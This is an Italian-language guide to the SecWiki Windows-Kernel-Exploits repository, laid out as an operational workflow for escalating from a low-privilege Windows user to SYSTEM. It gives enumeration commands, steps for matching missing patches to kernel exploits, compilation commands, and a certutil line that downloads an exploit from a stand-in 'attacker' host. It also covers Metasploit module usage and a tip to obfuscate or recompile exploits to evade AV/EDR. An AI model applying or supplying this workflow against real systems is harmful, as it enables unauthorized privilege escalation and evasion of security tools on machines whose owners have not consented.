🧠 Guida Avanzata – `Windows-Kernel-Exploits` (SecWiki)
Il repository GitHub Windows-Kernel-Exploits è una raccolta curata di exploit kernel per Windows, ordinati per CVE Common Vulnerabilities and Exposures, tipicamente classificati per bollettino Microso
🧠 Guida Avanzata – Windows-Kernel-Exploits (SecWiki)
🔍 Descrizione del progetto
Il repository GitHub Windows-Kernel-Exploits è una raccolta curata di exploit kernel per Windows, ordinati per CVE (Common Vulnerabilities and Exposures), tipicamente classificati per bollettino Microsoft (MS##-###).
⚙️ Obiettivo principale: Privilege Escalation (da user a SYSTEM)
📁 Struttura del repository
Ogni cartella nel repository corrisponde a una vulnerabilità specifica, ad esempio:
MS16-135/
├── TsysCall.c
├── readme.md
├── compiled_exploit.exe
└── poc.pyLa nomenclatura MS##-### corrisponde al Microsoft Security Bulletin, ad esempio:
MS16-135→ CVE-2016-7255 → Elevazione di privilegi nel driverwin32k.sys
MS10-092→ CVE-2010-3338 → Task Scheduler vulnerabile
🔧 Requisiti
- Accesso limitato a un host Windows target (utente con bassi privilegi)
- Output da
systeminfo,WinPEAS,WES, ecc. per identificare versioni e patch
- Possibilità di trasferire ed eseguire binari su macchina target
- Compilatore C/C++ se gli exploit non sono precompilati (Visual Studio, mingw-w64, x86/x64 toolchains)
📌 Workflow operativo standard
1️⃣ Identificazione del sistema target
Utilizza strumenti di enum come:
systeminfo
wmic os get Caption,CSDVersion /value
Windows-Exploit-Suggester
WinPEAS,Seatbelt
2️⃣ Ricerca della vulnerabilità
Confronta i KB mancanti o la versione dell'OS con la lista nel repository:
Esempio:
Se il sistema èWindows 7 SP1e mancaKB3197868, potresti considerareMS16-135.
3️⃣ Navigazione nella cartella della vulnerabilità
Accedi alla relativa directory:
cd windows-kernel-exploits/MS16-135/
Ogni cartella solitamente contiene:
| File | Scopo |
exploit.c/.cpp | Codice sorgente dell’exploit |
readme.md | Dettagli sul CVE e istruzioni |
exploit.exe | Versione precompilata (non sempre presente) |
shellcode.c | Payload integrato nell’exploit |
4️⃣ Compilazione (se necessario)
Puoi compilare localmente con:
#### 🔵 Linux (cross-compilazione con mingw-w64)
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe#### 🔵 Windows (Visual Studio)
Apri il progetto .sln o compila da CLI:
cl exploit.c /Fe:exploit.exe5️⃣ Upload e test su macchina target
Trasferisci exploit.exe via:
evil-winrm -i target -u user -p password -f exploit.exe
certutil.exe -urlcache -f http://attacker/exploit.exe exploit.exe
WebDAV / SMB share / PowerShell
Esegui:
.\exploit.exe
📌 Se l’exploit ha successo → ottieni NT AUTHORITY\SYSTEM
🔥 Esempio reale – MS16-135 (CVE-2016-7255)
Descrizione:
- Driver coinvolto:
win32k.sys
- Tipo: Use-After-Free
- Effetto: Escalation da low-privilege user a SYSTEM
- Patched in: KB3197868
Steps:
1. Enum OS
2. Conferma patch mancante con Windows-Exploit-Suggester
3. Naviga in MS16-135/
4. Compila o usa .exe esistente
5. Carica su macchina target
6. Esegui → otterrai SYSTEM shell
🧩 Integrazione con Metasploit
Alcuni exploit presenti nel repo sono anche disponibili nei moduli exploit/windows/local/ di Metasploit.
Puoi eseguire ricerche del tipo:
search cve:2016-7255Esempio modulo MSF:
use exploit/windows/local/ms16_135_win32k📚 Consigli operativi e best practices
| Best Practice | Dettaglio |
| ⚠️ Test in sandbox | Molti exploit sono instabili su build moderne |
| ✅ Usa versioni compatibili | Verifica l'architettura: x86 vs x64 |
| 🔐 Non usare in ambienti produttivi | Possibili BSOD o crash |
| 📤 Output logging | Redirigi stdout/stderr su file |
| 🔎 Convalida exploit | Cerca CVE su Exploit-DB per dettagli e PoC aggiornati |
🔒 Note sulla sicurezza
- Molti exploit nel repo sono PoC: potresti doverli modificare per un'esecuzione reale.
- Controlla la compatibilità del payload con l'architettura e il contesto (x86 vs x64).
- Alcuni exploit sono rilevati da AV/EDR: considera l’offuscamento o il recompile.
📎 Risorse correlate da integrare nel flusso operativo
| Tool | Uso |
WinPEAS | Privilege escalation enumeration |
Windows-Exploit-Suggester | Verifica patch mancanti |
PowerUp (PowerShell) | Enum + privesc detection |
MSF exploit/windows/local/ | Moduli MSF aggiornati |
AccessChk.exe | Verifica ACL su file e servizi |